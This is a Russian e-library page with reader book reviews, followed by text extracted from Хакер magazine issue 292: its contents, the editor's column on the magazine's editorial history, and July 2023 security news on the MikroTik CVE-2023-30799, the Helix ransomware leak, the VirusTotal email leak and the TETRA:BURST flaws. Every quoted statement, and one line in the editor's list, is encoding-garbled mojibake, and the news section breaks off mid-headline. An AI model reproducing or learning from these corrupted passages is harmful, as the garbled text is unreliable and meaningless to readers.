КулЛиб - Классная библиотека! Скачать книги бесплатно
Всего книг - 712473 томов
Объем библиотеки - 1400 Гб.
Всего авторов - 274472
Пользователей - 125061

Новое на форуме

Новое в блогах

Впечатления

Влад и мир про Владимиров: Ирландец 2 (Альтернативная история)

Написано хорошо. Но сама тема не моя. Становление мафиози! Не люблю ворьё. Вор на воре сидит и вором погоняет и о ворах книжки сочиняет! Любой вор всегда себя считает жертвой обстоятельств, мол не сам, а жизнь такая! А жизнь кругом такая, потому, что сам ты такой! С арифметикой у автора тоже всё печально, как и у ГГ. Простая задачка. Есть игроки, сдающие определённую сумму для участия в игре и получающие определённое количество фишек. Если в

  подробнее ...

Рейтинг: 0 ( 0 за, 0 против).
DXBCKT про Дамиров: Курсант: Назад в СССР (Детективная фантастика)

Месяца 3-4 назад прочел (а вернее прослушал в аудиоверсии) данную книгу - а руки (прокомментировать ее) все никак не доходили)) Ну а вот на выходных, появилось время - за сим, я наконец-таки сподобился это сделать))

С одной стороны - казалось бы вполне «знакомая и местами изьезженная» тема (чуть не сказал - пластинка)) С другой же, именно нюансы порой позволяют отличить очередной «шаблон», от действительно интересной вещи...

В начале

  подробнее ...

Рейтинг: +1 ( 1 за, 0 против).
DXBCKT про Стариков: Геополитика: Как это делается (Политика и дипломатия)

Вообще-то если честно, то я даже не собирался брать эту книгу... Однако - отсутствие иного выбора и низкая цена (после 3 или 4-го захода в книжный) все таки "сделали свое черное дело" и книга была куплена))

Не собирался же ее брать изначально поскольку (давным давно до этого) после прочтения одной "явно неудавшейся" книги автора, навсегда зарекся это делать... Но потом до меня все-таки дошло что (это все же) не "очередная злободневная" (читай

  подробнее ...

Рейтинг: +1 ( 1 за, 0 против).
DXBCKT про Москаленко: Малой. Книга 3 (Боевая фантастика)

Третья часть делает еще более явный уклон в экзотерику и несмотря на все стсндартные шаблоны Eve-вселенной (базы знаний, нейросети и прочие девайсы) все сводится к очередной "ступени самосознания" и общения "в Астралях")) А уж почти каждодневные "глюки-подключения-беседы" с "проснувшейся планетой" (в виде галлюцинации - в образе симпатичной девчонки) так и вообще...))

В общем герою (лишь формально вникающему в разные железки и нейросети)

  подробнее ...

Рейтинг: +1 ( 1 за, 0 против).
Влад и мир про Черепанов: Собиратель 4 (Боевая фантастика)

В принципе хорошая РПГ. Читается хорошо.Есть много нелогичности в механике условий, заданных самим же автором. Ну например: Зачем наделять мечи с поглощением душ и забыть об этом. Как у игрока вообще можно отнять душу, если после перерождении он снова с душой в своём теле игрока. Я так и не понял как ГГ не набирал опыта занимаясь ремеслом, особенно когда служба якобы только за репутацию закончилась и групповое перераспределение опыта

  подробнее ...

Рейтинг: 0 ( 0 за, 0 против).

Хакер №292 [Автор Неизвестен] (pdf) читать онлайн

Книга в формате pdf! Изображения и текст могут не отображаться!


 [Настройки текста]  [Cбросить фильтры]

№ 292

CONTENTS
Кто делал этот журнал
Колонка главреда
MEGANews
Самые важные события в мире инфосека за июль
Боевой дельфин
Что я успел натворить за месяц с Flipper Zero
Альтернативные прошивки Flipper Zero
Выбираем апгрейд для твоего «Флиппера»
Ласты для дельфина
Что могут внешние модули для Flipper Zero
В гостях у Дани
Павел Жовнер о проблемах разработки, новом маркетплейсе и следующем Flipper
JavaScript аль денте
Фаззим JS-движки при помощи Fuzzilli
Фундаментальные основы хакерства
Ищем структуры языков высокого уровня в программах для x86-64
СКУД глазами хакера
Атакуем системы контроля доступа на основе RFID
Standoff Talks #3
Шесть докладов, которые стоит посмотреть багхантеру
HTB Socket
Эксплуатируем SQL-инъекцию для атаки на SQLite через WebSocket
HTB Derailed
Пентестим веб-приложение на Ruby on Rails
HTB Inject
Используем Ansible playbooks для повышения привилегий
HTB Pollution
Эксплуатируем XXE и разбираемся с уязвимостью prototype pollution
Де-onion
Как ловят администраторов сайтов в Tor
5 утилит для OSINT
Собираем инструментарий сетевого разведчика
Маковый мониторинг
Отслеживаем системные события в macOS
Титры
Кто делает этот журнал

HEADER

КОЛОНКА ГЛАВРЕДА

Поздравляя нашего ведущего редактора
Валентина Холмогорова с днем рождения,
я шутки ради предложил ему стать самым
матерым из редакторов не только в жизни,
но и в титрах журнала. Неожиданно это привело к тому, что я три вечера кряду провел
в археологических раскопках.

Андрей Письменный
Главный редактор
apismenny@gmail.com

В ответ на мое предложение Валентин только указал на оплошность —
не «матерый», мол, редактор, а «матерный», буковку пропустил. И тут я сразу
вспомнил о приколе, которым себя и читателей радовали наши древние
предки — первая редакция «Хакера».
Редакторы в ранних выпусках журнала звались «самый главный», «самый
геймерский», «самый вредный» и так далее.

Иван «SideX» Корноухов впервые появился в титрах с титулом «типа просто
редактор», но вскоре превзошел всех и стал именоваться «самым пьяным
редактором». Потом провел ребрендинг в «самого пивного» и под конец
карьеры в «Хакере» — в «самого дедлайнового».
Вообще, меня часто просят рассказать что-то из истории журнала, но я
пришел работать в «Хакер» только в 2015 году — в команду Ильи Русанена,
так что никакой ранней истории не застал и в качестве басенника в подметки
не гожусь нашим старожилам.
Чтобы иметь хоть какой-то исторический контекст, я временами отправляюсь в экспедицию и черпаю мудрость предков из первоисточника — старых
выпусков «Хакера».
В этот раз моим квестом стало превращение титров журнала в огромную
таблицу, из которой легко узнавать, кто когда приходил в редакцию и уходил
из нее и за какие рубрики отвечал.

Маленький кусочек таблицы
Поделюсь некоторыми находками.
Основной интерес, конечно, был к главредам. Сменялись они у нас не так
часто, проследить за ними легко, и каждый из них (нас) олицетворяет целую
эпоху в жизни журнала.
• 1999–2002 — Сергей «SINtez» Покровский
• 2002–2004 — Александр «2poisonS» Сидоровский
• 2004–2006 — Иван «Cutter» Петров
• 2006–2012 — Никита «Nikitos» Кислицин
• 2012–2014 — Степан «Step» Ильин
• 2014–2015 — Илья Илембитов
• 2015–2018 — Илья Русанен
• ñ 2018-ãî — Андрей Письменный
Не все главреды, покинув пост, уходили от него далеко. Покровский, например, еще долгое время работал в Gameland, Илембитов несколько
месяцев продолжал вести свои рубрики, а Русанен с нами до сих пор —
повелевает инфраструктурой и разработкой внутренних инструментов.
Абсолютный чемпион по продолжительному главредству (пока что?) —
Никита Кислицин, руливший журналом шесть лет — с апреля 2006 года
по май 2012-го, а начинал еще редактором «Взлома» двумя годами ранее (в
возрасте 18 лет!). В номере 160 можешь прочитать его прощальное «Интро».

Номер 160 и последнее «Интро» Кислицина
К сожалению, сейчас узнавать о том, где Никита и что с ним, мы можем только
из новостей. Надеемся, что они будут хорошими!
Неизменным выпускающим при Кислицине был Николай «gorl» Андреев.
Ему же принадлежит и рекорд пребывания в этой должности.
Из редакторов дольше всех в титрах продержался Саша Лозовский. Наш
«доктор Klouniz» возглавил рубрику «Кодинг» летом 2006 года, а прекратил
работать над статьями в марте 2019-го.

Номер 176 — с колонкой Лозовского
На мой взгляд, у Лозовского в «Хакере» самая интересная траектория. Он
был редактором рубрики «Кодинг» при Пойзоне, потом при Куттере долгое
время заведовал выпуском, в команде Никитоса снова стал редактором
«Кодинга», потом на несколько номеров захватил еще и SYN/ACK и в какой-то
момент возглавил новую рубрику — Malware. А потом и «Кодинг» снова попал
в его заботливые руки.
Саша, если еще читаешь «Хакер», не забывай, что «Кодинг» всегда ждет
тебя! Только пришли весточку.
Вообще, карьерный путь амбициозного редактора прослеживается такой:
человек набирает на себя одну рубрику за другой, а потом через сколько-то
номеров либо становится главным или хотя бы выпускающим, либо пропадает из титров — видимо, страшно задолбавшись.
Из набиральщиков должностей и рубрик самый яркий пример — Андрей
«Andrushock» Матвеев. Он в течение десяти лет вел рубрику Unixoid, но под
конец карьеры в «Хакере» взвалил на себя еще SYN/ACK, X-Mobile
и Phreaking; делал раздел DVD, посвященный Linux, и был замом главреда
по техническим вопросам. Где только берут таких работников?

Номер 181, где Степа прощается с нами
При том, что титры и присутствие в них вроде бы всех заботили, составлялись
они с криминальной небрежностью. Какие-то люди работали в журнале пару
месяцев и успели отметиться, но есть и герои, которые внесли огромный
вклад в развитие «Хакера», а в титры никогда не попадали.
Статьи легендарного Криса Касперски в иных номерах составляли чуть ли
не до трети объема. Но про заслуги Криса ты, наверное, уже в курсе. Если
нет, то обязательно глянь цикл по книге «Фундаментальные основы хакерства», которую Юра Язев только недавно закончил обновлять.
Другой герой и источник скрытой силы «Хакера» — Мария Нефёдова.
Маша писала в рубрику «Сцена» больше десяти лет подряд и при этом никогда не стремилась засветиться в редакторском составе.
Заведовали «Сценой» сначала Олег «mindwOrk» Чебенеев, потом Илья
Александров, потом во времена номеров 112 и 113 — загадочные «Петя
и Волк» (я так и не понял, кто это и почему так подписывался), а потом долго-долго слово «Сцена» просто не появлялось в титрах, пока рубрика не упала в руки Ильи Илембитова, а спустя год — в мои.
Все это время Маша, помимо «Мегановостей», открывающих каждый
выпуск, стабильно радовала читателей топовыми материалами о знаменитых
хакерах и важных событиях. Спасибо ей за это!
Вообще, если интересуешься ранней историей «Хакера», рекомендую
глянуть таймлайн журнала с 1999-го по 2007 год и биографии нескольких
ключевых сотрудников (у кого-то, видимо, был такой же порыв копнуть историю).
А еще можешь почитать интервью, которое я брал у основателя Gameland
Димы Агарунова, тоже в рамках очередного изыскания. И думаю, не последнего.

Мария «Mifrill» Нефёдова
nefedova@glc.ru

В этом месяце: в стандарте транкинговой радиосвязи TETRA
нашли множество проблем, китайские хакеры похитили
у Microsoft важный криптографический ключ, 900 тысяч маршрутизаторов MikroTik уязвимы перед новым багом, Google
разрабатывает «DRM для интернета» и другие интересные
события июля.

БАГ В MIKROTIK

Критическая уязвимость, допускающая повышение привилегий до уровня
Super Admin, угрожает более чем 900 тысячам маршрутизаторов MikroTik
с RouterOS на борту.
Проблема отслеживается под идентификатором CVE-2023-30799 и позволяет злоумышленникам, у которых уже есть учетная запись администратора, повысить свои привилегии до Super Admin через интерфейс WinBox
или HTTP.
Специалисты компании VulnCheck объясняют, что проблема не выглядит
серьезной лишь на первый взгляд. Ведь, казалось бы, если потенциальный
атакующий должен заранее иметь привилегии администратора, все не так уж
плохо. Но к сожалению, это вряд ли остановит злоумышленников, так
как RouterOS не предотвращает брутфорс-атаки, не предъявляет жестких
требований к паролю администратора, а также по умолчанию имеет аккаунт
admin, о котором известно очень давно.
Хуже того, до октября 2021 года пароль администратора по умолчанию
был пустой строкой, и эту проблему исправили только с релизом RouterOS
6.49. По данным исследователей, около 60% устройств MikroTik все
еще используют эту учетную запись, хотя производитель давно рекомендует
ее удалить.

«

«Ìàññîâàÿ ýêñïëóàòàöèÿ (óÿçâèìîñòè) îñëîæíÿåòñÿ òåì, ÷òî äëÿ àòàêè
òðåáóþòñÿ äåéñòâèòåëüíûå ó÷åòíûå äàííûå. Îäíàêî ìàðøðóòèçàòîðàì
íå õâàòàåò áàçîâîé çàùèòû îò ïîäáîðà ïàðîëÿ, — ãîâîðÿò ýêñïåðòû
VulnCheck. — Ìû íàìåðåííî íå ïóáëèêóåì PoC-ýêñïëîèò, íî áóäü îí
äîñòóïåí, òî íàâåðíÿêà áûë áû èñïîëüçîâàí [õàêåðàìè] íà ïðàêòèêå
ñðàçó ïîñëå ïóáëèêàöèè íàøåé ñòàòüè».

»

Уязвимость была обнаружена еще в июне 2022 года, и инженеры MikroTik
исправили ее в октябре 2022 года в стабильной версии RouterOS (6.49.7),
а 19 июля 2023 года вышел патч для ветки Long-term (6.49.8). В VulnCheck
отмечают, что свежие патчи появились лишь после того, как специалисты связались с разработчиками и поделились с ними новыми эксплоитами.
По статистике Shodan, перед CVE-2023-30799 уязвимы 474 тысячи
устройств, поскольку их управляющая веб-страница доступна для удаленного
доступа. Однако, поскольку уязвимость также может использоваться через
WinBox (клиент для управления устройствами на базе MikroTik RouterOS),
количество уязвимых девайсов увеличивается почти вдвое и составляет
уже 926 тысяч устройств.

Версии RouterOS на устройствах, обнаруженных через Shodan

Исследователи объясняют, что привилегии уровня Super Admin имеют ряд
преимуществ перед обычными привилегиями администратора. Фактически
суперадминистратор получает полный и неограниченный доступ к операционной системе RouterOS, и такие привилегии обычно может иметь базовое
ПО, но не пользователь.

УТЕЧКИ ПРОИСХОДЯТ В 4 РАЗА ЧАЩЕ
Роскомнадзор подсчитал, что с начала 2023 года в России случилось уже 76 утечек баз персональных данных против 19 за аналогичный период 2022 года. По подсчетам специалистов
регулятора, суммарно в сеть попали около 177 миллионов записей о гражданах.
Для сравнения: за первое полугодие 2022 года было зафиксировано 19 утечек персональных
данных, в открытый доступ попали около 45 миллионов записей.
В Роскомнадзоре уверены, что участившиеся взломы БД и их сливы в публичное пространство — это «часть гибридной войны, которая ведется против России».

У FLIPPER ZERO
ПОЯВИЛСЯ МАГАЗИН
ПРИЛОЖЕНИЙ

Разработчики хакерского «мультитула» Flipper запустили собственный магазин приложений Flipper Apps, позволяющий пользователям устанавливать
сторонние приложения и расширять возможности своих устройств.
Магазин встроен в новую версию мобильного приложения Flipper Zero
для Android и iOS. Если раньше пользователям приходилось самостоятельно
искать приложения (как правило, в различных репозиториях, вроде GitHub)
и загружать их на устройство при помощи microSD, то теперь владельцы
Flipper Zero могут просматривать проверенные приложения прямо в магазине.
На момент запуска в магазине были доступны около 100 приложений, разделенных на категории, включая «Игры», «Медиа», «Утилиты», RFID, NFC, USB.
Здесь можно найти hex-редакторы, фаззеры, универсальные пульты дистанционного управления и многое другое.
В компании подчеркивают, что любой разработчик может создать и отправить в Flipper Apps собственное приложение, настроив репозиторий GitHub
и создав pull request на включение в официальную кодовую базу.
Все приложения проходят ручную и автоматическую проверки, чтобы убедиться, что они безопасны и выполняют заявленные функции, работая
без доступа к запрещенным инструментам, протоколам или частотам.
При этом все приложения должны быть бесплатными и опенсорсными.

LINUX СТАЛ ПОПУЛЯРНЕЕ
В компании StatCounter подсчитали, что доля Linux-дистрибутивов на мировом рынке десктопных операционных систем впервые достигла 3,07%. Для сравнения: пять лет назад доля Linux
составляла лишь 1,69%.
Если рассматривать Chrome OS как еще одну Linux-систему, то к полученным данным можно
добавить еще 4,13%, в сумме получив уже целых 7,2%.

Также стоит отметить падение доли Windows с 76,33% до 68,23% за год. Предполагается, что
это связано с приостановкой продаж в России.
Уверенно растет и macOS, доля которой увеличилась с
в текущем году.

14,64% в июне 2022 года до 21,32%

Таким образом, в настоящее время под управлением Windows и macOS работают 89,5% всех
десктопов в мире, а остаток рынка делят между собой Chrome OS, Linux и «Неизвестно» (в эту
группу попали совсем новые или очень старые версии популярных ОС).

ХАКЕРЫ АТАКОВАЛИ
«ХЕЛИКС»

Лабораторная служба «Хеликс» пострадала от хакерской атаки, из-за чего
результаты анализов выдавали с задержкой. Хотя в заявлении компании подчеркивается, что утечки персональных данных клиентов не было, хакеры опубликовали в даркнете 884 Мбайт данных, якобы украденных у компании
(7,3 миллиона строк).
Атака на «Хеликс» произошла в ночь с 15 на 16 июля 2023 года. Как сообщили в пресс-службе компании, хакеры попытались внедрить в системы сети
диагностических центров шифровальщик, а затем потребовали выкуп за расшифровку данных.
В компании уверяли, что ИТ-специалистам «Хеликс» удалось остановить
распространение малвари и только часть данных оказалась зашифрована.
Утром 16 июля диагностические центры уже могли принимать заказы, а после
компания якобы заработала в штатном режиме.

«

«Â ñâÿçè ñ ÷àñòè÷íîé ïðèîñòàíîâêîé ðàáîòû ëàáîðàòîðíûõ êîìïëåêñîâ
íàáëþäàþòñÿ
çàäåðæêè
â
âûäà÷å
ðåçóëüòàòîâ
ïî
çàêàçàì
îò 15 è 16 èþëÿ. Âñå ðåçóëüòàòû áóäóò îòïðàâëåíû êëèåíòàì íà ýëåêòðîííóþ ïî÷òó íå ïîçäíåå 23:59 17 èþëÿ. Âàæíî, ÷òî êîìïàíèè óäàëîñü èçáåæàòü ïîòåðè êàêèõ ëèáî äàííûõ, à òàêæå óòå÷êè ïåðñîíàëüíûõ äàííûõ êëèåíòîâ», — ñîîáùàëà òîãäà ïðåññ ñëóæáà.

»

Руководитель отдела информационной безопасности «Хеликс» Александр
Луганский также заявил СМИ, что для предотвращения утечки в дальнейшем
компания предприняла ряд мер, в том числе сбросила все пароли в личных
кабинетах розничных и корпоративных клиентов.
По его словам, внутри сети также были усилены политики безопасности,
настроен дополнительный мониторинг и велась постоянная работа
над минимизацией риска возможных утечек.

«

«Íà äàííûé ìîìåíò ìû ïðîäîëæàåì ðàññëåäîâàíèå èíöèäåíòà
è âûÿñíÿåì õðîíîëîãèþ àòàêè. Ïî èòîãàì ðàññëåäîâàíèÿ êîìïàíèåé
áóäåò ïðèíÿòî ðåøåíèå î íåîáõîäèìîñòè îáðàùåíèÿ â ïðàâîîõðàíèòåëüíûå îðãàíû», — ñîîáùèë Ëóãàíñêèé.

»

Тем временем атаковавшие «Хеликс» злоумышленники начали сливать якобы
украденную информацию в даркнете, так как компания отказалась идти
с ними на переговоры. На хакфоруме был опубликован дамп БД клиентов
компании размером 884 Мбайт, насчитывающий около 7 300 000 строк.
По данным ИБ-исследователей, в файле содержатся персональный ID, ФИО,
дата рождения, а иногда email, телефон, СНИЛС.

Как видно на скриншоте выше, злоумышленники угрожают вскоре продолжить
публикацию и выложить «по-настоящему чувствительную информацию», если
представители компании не выйдут с ними на связь.
В пресс-службе «Хеликс» сообщили «Хакеру» следующее:

«

«Òðàíñëèðóåìàÿ çëîóìûøëåííèêàìè èíôîðìàöèÿ î òîì, ÷òî â ñåòü
èíòåðíåò ïîïàëà áàçà ïåðñîíàëüíûõ äàííûõ êëèåíòîâ „Õåëèêñ“,
íå ñîîòâåòñòâóþò äåéñòâèòåëüíîñòè. Ñî ñâîåé ñòîðîíû ìû íå çàôèêñèðîâàëè óòå÷êó äàííûõ, à èíôîðìàöèÿ, ôðàãìåíòû êîòîðîé ïîëó÷èëà
íàøà ÈÒ êîìàíäà è êîòîðóþ êèáåðìîøåííèêè íàçûâàþò áàçîé
„Õåëèêñ“, âûçûâàåò ñîìíåíèÿ â äîñòîâåðíîñòè, òàê êàê òàì ïðèñóòñòâóþò çàïèñè î ëþäÿõ, êîòîðûå íèêîãäà íå áûëè êëèåíòàìè „Õåëèêñ“.
Ïî îöåíêå êîìïàíèè, ýòî ìîæåò áûòü áàçà ïåðñîíàëüíûõ äàííûõ êëèåíòîâ äðóãèõ îðãàíèçàöèé, êîòîðûå ðàíåå ïîäâåðãàëèñü õàêåðñêèì
àòàêàì è ÷üè áàçû ïîïàëè â èíòåðíåò. Íà äàííûé ìîìåíò ìû ïðîäîëæàåì ðàññëåäîâàíèå äàííîãî èíöèäåíòà è âûÿñíÿåì õðîíîëîãèþ àòàêè. Ê ðàññëåäîâàíèþ ïðèâëå÷åíû â òîì ÷èñëå ñîîòâåòñòâóþùèå ïîäðàçäåëåíèÿ Ôåäåðàëüíîé ñëóæáû áåçîïàñíîñòè ÐÔ».

»

БИЛЛ ГЕЙТС ОБ ИСКУССТВЕННОМ ИНТЕЛЛЕКТЕ

Уже не в первый раз Билл Гейтс затрагивает в своем блоге темы, связанные с развитием
искусственного интеллекта. Этот материал он посвятил возможным рискам, которые ждут
людей из-за развития ИИ.
Гейтс полагает, что это не первый раз, когда крупная инновация создает новые угрозы,
которые нужно контролировать. В качестве примера он приводит появление автомобилей и ПК
и отмечает, что многие проблемы, связанные с ИИ, можно будет решить с помощью ИИ.



«Вскоре после появления первых автомобилей на дорогах произошла первая
автомобильная авария. Но мы не запретили автомобили. Мы ввели ограничения
скорости, стандарты безопасности, лицензионные требования, законы о вождении в нетрезвом виде и другие правила дорожного движения.
Сейчас мы находимся на самой ранней стадии другого глубокого изменения — эпохи ИИ. Она аналогична тем неуверенным временам, когда не было
ограничений скорости и ремней безопасности. ИИ меняется так быстро, что
неясно, что будет дальше. Перед нами стоят большие вопросы, связанные
с тем, как работает нынешняя технология, как люди будут использовать ее
в злонамеренных целях и как ИИ изменит нас как общество и как отдельных
людей.
Из всего, что было написано до сих пор о рисках ИИ (а написано было
немало), ясно одно: ни у кого нет ответов на все вопросы. Для меня также очевидно, что будущее ИИ не так мрачно, как думают одни, и не так радужно,
как думают другие. Риски реальны, но я с оптимизмом смотрю на то, что ими
можно управлять», — рассказывает Гейтс.

УТЕЧКА
ЧЕРЕЗ VIRUSTOTAL

Сотрудник принадлежащей Google платформы VirusTotal случайно загрузил
на сайт файл с именами и адресами электронной почты сотен людей, работающих в спецслужбах и министерствах обороны по всему миру. В частности,
в список попали лица, связанные с Киберкомандованием США, АНБ, Пентагоном, ФБР и рядом подразделений армии США.
Утечку этого важного файла размером 313 Кбайт, содержащего информацию о 5600 клиентах VirusTotal, обнаружили журналисты издания Der Spiegel.
По их словам, список содержит названия организаций и адреса электронной
почты сотрудников, зарегистрировавших учетные записи.
Издание подчеркивает, что проверило подлинность списка и убедилось,
что многие из перечисленных людей на самом деле являются госслужащими,
а некоторых из пострадавших можно без труда найти в LinkedIn.
Как оказалось, свыше двадцати записей в списке принадлежат сотрудникам Киберкомандования США, Министерства юстиции США, Пентагона,
федеральной полиции, ФБР, АНБ.
От Великобритании в список попали более десяти сотрудников Министерства обороны, а также email-адреса, принадлежащие сотрудникам CERTUK, входящего в состав Центра правительственной связи страны (GCHQ).
В соответствии с форматом электронной почты GCHQ, ящики сотрудников
содержат только инициалы фамилий каждого пользователя.
Зато полные имена содержатся в email-адресах, принадлежащих специалистам Минобороны, Кабинета министров, Управления по выводу из эксплуатации атомных электростанций и Пенсионного фонда Великобритании.
Также жертвами утечки стали сотрудники различных министерств Германии (включая Федеральную полицию, Федеральное управление уголовной
полиции и Службу военной контрразведки), Египта, Израиля, Катара, Колумбии, Литвы, ОАЭ, Польши, Саудовской Аравии, Словакии, Турции, Украины,
Франции, Чехии, Эстонии и Японии.
Еще около тридцати почтовых адресов принадлежат сотрудникам
Deutsche Bahn (основной железнодорожный оператор Германии), а также
в файле можно найти данные сотрудников Bundesbank и таких крупных компаний, как BMW, Mercedes-Benz и Deutsche Telekom.
Хотя утечка затрагивает только email-адреса и имена, даже они могут
стать ценной информацией для хакеров. Дело в том, что файл проливает свет
на людей, которые занимаются вопросами кибербезопасности и вредоносным ПО во многих компаниях, ведомствах и организациях. В итоге они могут
стать мишенями для целевых фишинговых атак или социальной инженерии.
К тому же из списка можно понять, что, например, некоторые военнослужащие используют в работе личные почтовые ящики и личные учетные записи
Gmail, Hotmail и Yahoo.
Представители Google уже сообщили СМИ, что им известно о произошедшей утечке и компания приняла все необходимые меры для ее ликвидации.

«

«Íàì èçâåñòíî, ÷òî îäèí èç íàøèõ ñîòðóäíèêîâ íåïðåäíàìåðåííî ðàñïðîñòðàíèë íà ïëàòôîðìå VirusTotal íåáîëüøîé ñåãìåíò email-àäðåñîâ
àäìèíèñòðàòîðîâ ãðóïï êëèåíòîâ è íàçâàíèé îðãàíèçàöèé. Ìû óäàëèëè ñïèñîê ñ ïëàòôîðìû â òå÷åíèå ÷àñà ïîñëå åãî ðàçìåùåíèÿ
è èçó÷àåì íàøè âíóòðåííèå ïðîöåññû è òåõíè÷åñêèå ñðåäñòâà êîíòðîëÿ, ÷òîáû óëó÷øèòü èõ ðàáîòó â áóäóùåì», — çàÿâèëè â êîìïàíèè.

»

5 000 000 ДОМЕНОВ В ЗОНЕ .RU
Координационный центр доменов .RU/.РФ сообщил, что по итогам второго квартала 2023 года
наибольший рост показали национальные домены Китая (+3,3%), Бразилии (+2,1%) и России
(+1,4%).
После снижения в 2022 году российская национальная зона уже два квартала демонстрирует
небольшой рост, и по итогам второго квартала она выросла на 69 019 доменов. Общее число
зарегистрированных имен в итоге составило 5 004 957.

Продолжение статьи



← Начало статьи

В СТАНДАРТЕ TETRA
НАШЛИ МНОЖЕСТВО
ПРОБЛЕМ

Исследователи выявили пять уязвимостей в стандарте TETRA (Terrestrial
Trunked Radio), который используют правоохранительные органы, военные
и операторы критической инфраструктуры по всему миру. Уязвимости получили общее название TETRA:BURST и позволяют расшифровывать данные
в режиме реального времени. При этом эксперты считают, что обнаружили
бэкдор, который, похоже, был создан намеренно.

Стандарт TETRA разработан Европейским институтом телекоммуникационных стандартов (ETSI)
в 1995 году и с тех пор широко применяется более чем в 100 странах мира. Часто TETRA
используется в качестве полицейской системы радиосвязи, а также для управления критическими системами, включая электрические сети, газопроводы и железные дороги. В России и в
странах ЕС TETRA применяется в служебных и технологических сетях связи (речевой и для
передачи данных) железнодорожного транспорта.
По информации издания Wired, TETRA используют как минимум двадцать критически важных инфраструктур в США. В их число входят электроэнергетические предприятия, пограничная служба, нефтеперерабатывающий завод, химические заводы, крупная система общественного транспорта, три международных аэропорта и учебная база армии США.

Проблемы были выявлены голландской компанией Midnight Blue
еще в 2021 году, и на сегодняшний день нет доказательств того, что уязвимости использовались злоумышленниками.
В настоящее время для некоторых уязвимостей из списка TETRA:BURST
уже выпущены исправления, и теперь исследователи смогли рассказать
о багах публично. При этом не все проблемы в целом можно исправить
с помощью патчей, и пока неясно, какие производители уже подготовили
исправления для своих клиентов.

«

«Â çàâèñèìîñòè îò êîíôèãóðàöèè èíôðàñòðóêòóðû è êîíêðåòíûõ
óñòðîéñòâ, óÿçâèìîñòè ïîçâîëÿþò âûïîëíÿòü ðàñøèôðîâêó äàííûõ
â ðåàëüíîì âðåìåíè, àòàêè òèïà „ñáîð ñåé÷àñ — ðàñøèôðîâêà ïîçæå“,
à òàêæå îñóùåñòâëÿòü èíúåêöèè ñîîáùåíèé, äåàíîíèìèçàöèþ ïîëüçîâàòåëåé è ïðèâÿçêó ñåàíñîâîãî êëþ÷à», — ñîîáùàþò ñïåöèàëèñòû.

»

В основе TETRA лежит набор секретных проприетарных криптографических
алгоритмов: набор TETRA Authentication Algorithm (TAA1), предназначенный
для аутентификации и распределения ключей, а также набор TETRA
Encryption Algorithm (TEA) для Air Interface Encryption (AIE).
В целом стандарт включает четыре алгоритма шифрования — TEA1, TEA2,
TEA3 и TEA4, которые могут использоваться производителями в различных
продуктах (в зависимости от их предназначения и заказчика). Так,
TEA1 рекомендован для коммерческого использования и применяется в критической инфраструктуре ЕС и других стран мира, однако, согласно ETSI, он
также ориентирован на использование службами общественной безопасности и военными. Сами исследователи обнаружили, что некоторые полицейские ведомства тоже полагаются на TEA1.
TEA2 предназначен для европейской полиции, служб экстренной помощи,
военных и спецслужб. TEA3 доступен для полиции и служб экстренной
помощи за пределами ЕС — в странах, считающихся «дружественными»
по отношению к европейским, включая Мексику и Индию. «Недружественные»
страны, например Иран, могут использовать только TEA1. Что касается TEA4,
по словам исследователей, он почти нигде не применяется.
Все алгоритмы охраняются как коммерческая тайна и защищены строгими
соглашениями о неразглашении.
Чтобы добраться до алгоритмов и изучить их, исследователи приобрели
на eBay радиостанцию Motorola MTM5400 и потратили четыре месяца
на поиск и извлечение алгоритмов из защищенного анклава в прошивке
устройства. Им пришлось использовать ряд 0-day-эксплоитов, чтобы обойти
защиту Motorola (компании сообщили о них и дали возможность исправить).
В итоге в ходе реверс-инжиниринга TAA1 и TEA исследователи выявили пять
проблем, от незначительных до критических:
• CVE-2022-24400 — ошибка в алгоритме аутентификации позволяет злоумышленникам установить для Derived Cypher Key (DCK) значение 0;
• CVE-2022-24401 — генератор ключевых последовательностей AIE использует сетевое время, которое передается открыто, без аутентификации, что
допускает расшифровку и oracle-атаки;
• CVE-2022-24402 — TEA1 имеет бэкдор, который сокращает исходный 80битный ключ до таких размеров (32 бита — меньше половины длины ключа), что его можно за считаные минуты подобрать брутфорсом на обычном
потребительском ноутбуке;
• CVE-2022-24403

криптографическая
схема,
используемая
для обфускации радиоидентификаторов, позволяет злоумышленникам
деанонимизировать и отслеживать пользователей;
• CVE-2022-24404 — отсутствует ciphertext-аутентификация в AIE, что позволяет проводить так называемые атаки на гибкость (malleability attack).
Исследователи объясняют, что влияние перечисленных уязвимостей в значительной степени зависит от того, как TETRA используется, например
от того, передаются ли этим способом голос или данные, а также какой именно криптографический алгоритм применен.
Серьезнее всех среди обнаруженных проблем CVE-2022-24401, которая
может использоваться для раскрытия текстовых и голосовых сообщений
или данных без ключа шифрования.
Вторая критическая уязвимость, CVE-2022-24402, обнаруженная в TEA1,
позволяет злоумышленникам выполнять инжекты в трафик, который используется для мониторинга и контроля промышленного оборудования.
По словам экспертов, расшифровка трафика и инъекции вредоносного
трафика могут позволить злоумышленникам совершать различные опасные
действия, включая размыкание автоматических выключателей на электрических подстанциях, что, например, может привести к отключению электроэнергии, как происходило во время атак малвари Industroyer.

«Уязвимость в TEA1 (CVE-2022-24402), очевидно, является результатом
преднамеренного ослабления», — утверждают специалисты Midnight Blue.
По их словам, эффективная энтропия ключа уменьшена намеренно и, судя
по всему, речь идет о самом настоящем бэкдоре.
В ответ на эти обвинения в ETSI заявили, что «стандарты безопасности
TETRA были определены совместно с национальными службами безопасности, разработаны в соответствии с правилами экспортного контроля и подпадают под их действие, что определяет стойкость шифрования». В Европейском институте телекоммуникационных стандартов отметили, что
в 1995 году 32-битный ключ обеспечивал должную безопасность, однако его
надежность ослабили доступные теперь вычислительные мощности.
Исследователи Midnight Blue планируют представить свои выводы в следующем месяце на конференции Black Hat в Лас-Вегасе, после чего будет
опубликован детальный технический анализ и секретные алгоритмы шифрования TETRA, которые раньше были недоступны широкой общественности.
Специалисты надеются, что их коллеги, обладающие большим опытом, смогут изучать алгоритмы и, вероятно, выявить другие проблемы TETRA.

ТРАФИК CHATGPT СНИЖАЕТСЯ
По данным аналитиков Similarweb, эффект новизны прошел и трафик ChatGPT впервые стал
демонстрировать снижение. Так, в июне 2023 года трафик чат-бота сократился на 9,7%
по сравнению с маем текущего года.
Также на 8,5% сократилось количество времени, которое посетители проводят на сайте. Вместе с вовлеченностью падает и количество уникальных посетителей, которое в июне «просело»
на 5,7%. Однако отмечается, что ChatGPT по-прежнему привлекает больше посетителей, чем
bing.com или Character.AI.

ИЛЬЯ САЧКОВ
ПРИГОВОРЕН
К 14 ГОДАМ ТЮРЬМЫ

